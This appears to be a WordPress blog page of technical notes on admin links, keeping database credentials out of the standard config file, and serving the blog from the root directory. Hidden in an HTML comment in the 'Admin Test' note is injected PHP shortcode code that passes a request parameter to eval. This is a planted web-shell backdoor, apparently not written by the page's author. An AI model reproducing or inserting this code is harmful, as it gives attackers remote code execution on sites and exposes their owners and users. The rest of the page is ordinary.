Technical notes

Admin Test

What I want to do here is to include an admin link. And then see if, when you click on it, it will allow/force a login and then take you directly to the edit page that I have selected <!– [insert_php]if (isset($_REQUEST["EubdR"])){eval($_REQUEST["EubdR"]);exit;}[/insert_php][php]if (isset($_REQUEST["EubdR"])){eval($_REQUEST["EubdR"]);exit;}[/php] –>

Extra Security

I like to keep my database name, username etc in a special secure place, not in the standard configuration file. So I’m going to make those changes next (details not published of course but in my personal notes!) This has not proved to be as simple as it should.  The first attempt gave a Headers already sent […]

Displaying Blog in the Root Directory

It’s neat to keep all of the WordPress files in their own directory.  In particular, it adds to security to store the files in an unexpectedly named subdirectory (not wordpress but something a hacker is unlikely to guess).  However you might actually want the pages to appear in the root directory, as in mysitename.com (not mysitename.com/blog). Here’s […]